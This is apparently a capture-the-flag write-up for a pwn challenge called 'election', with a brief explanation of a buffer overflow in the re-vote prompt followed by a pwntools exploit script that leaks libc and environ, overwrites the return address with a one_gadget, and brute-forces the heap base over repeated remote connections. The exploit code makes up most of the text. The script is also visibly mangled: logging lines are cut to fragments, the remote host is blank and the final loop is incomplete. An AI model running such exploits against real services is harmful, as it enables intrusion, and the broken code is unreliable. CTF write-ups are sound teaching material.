BOF and bruteforce.

There are a BOF at re-voting for Ojima. This allows us to write anywhere and read somewhere. Due to FULL RELRO, it’s not the flag yet. We want to get the libc (or heap) base addr. But if you read the addr simply, then you lose the ability to write. Here, you can use brutefoce to fix the head address, using $8192$ expected-trials, and get the flag.


zeosutt and others read the binary and found base solution, and I made the flag using the brute-force attack. I was faster a little, but he noticed the neat solution to get a head address.


#!/usr/bin/env python2
from pwn import * #
import argparse
parser = argparse.ArgumentParser()
parser.add_argument('host', nargs='?', default='')
parser.add_argument('port', nargs='?', default=28349, type=int)
parser.add_argument('--log-level', default='debug')
parser.add_argument('--binary', default='./election')
parser.add_argument('--libc', default='')
args = parser.parse_args()
context.log_level = args.log_level
context.binary = args.binary
elf = ELF(args.binary)
libc = ELF(args.libc)

def solve(p):
    def add(addr, value):
        p.sendlineafter('>> ', '2')
        p.sendlineafter('Show candidates? (Y/n) ', 'n')
        p.sendlineafter('candidate.\n>> ', 'Oshima')
        p.sendlineafter('re-vote?\n>> ', 'yes'.ljust(0x20, '\0') + p64(addr - 0x10) + chr(value))
    def write(addr, s):
        for i, c in enumerate(s):
            for value in [ ord(c) / 2, (ord(c) + 1) / 2 ]:  # to avoid to be nagative
                if value:
                    add(addr + i, value)

    heap_base = 0x0162b000  # fixed
    # heap_base = input()
    #'heap base: %#x', heap_base)

    # make a candidate structure, whose name is `got.__libc_start_mai` and next_candidate is the `list`
    p.sendlineafter('>> ', '1')
    p.sendlineafter('name.\n>> ', '\0')
    write(heap_base + 0xf0, p64(['__libc_start_main']) + p64(heap_base + 0x90))
    add(elf.symbols['list'], 0x20)'%#x',['__libc_start_main'])

    # read the libc base
    p.sendlineafter('>> ', '2')
    p.sendlineafter('Show candidates? (Y/n) ', 'Y')
    p.recvuntil('Candidates:\n* ')
    libc_base = u64(p.recvline()[: -1].ljust(8, '\0')) - libc.symbols['__libc_start_main']
    p.sendlineafter('candidate.\n>> ', 'NAME')'libc base: %#x', libc_base)

    # read the environ
    write(heap_base + 0x10, p64(libc_base + libc.symbols['environ'] - (heap_base + 0x30)))
    p.sendlineafter('>> ', '2')
    p.sendlineafter('Show candidates? (Y/n) ', 'Y')
    p.recvuntil('* Shinonome\n* ')
    environ = u64(p.recvline()[: -1].ljust(8, '\0'))
    p.sendlineafter('candidate.\n>> ', 'NAME')'environ: %#x', environ)
    ret_addr = environ - 240'return addr: %#x', ret_addr)

    # attack
    one_gadget = 0xf1117
    write(ret_addr, p64(one_gadget - (libc.symbols['__libc_start_main'] + 240)))
    p.sendlineafter('>> ', '0')


for iteration in range(10000):'iteration: %d', iteration)
        with remote(, args.port) as p:
    except EOFError: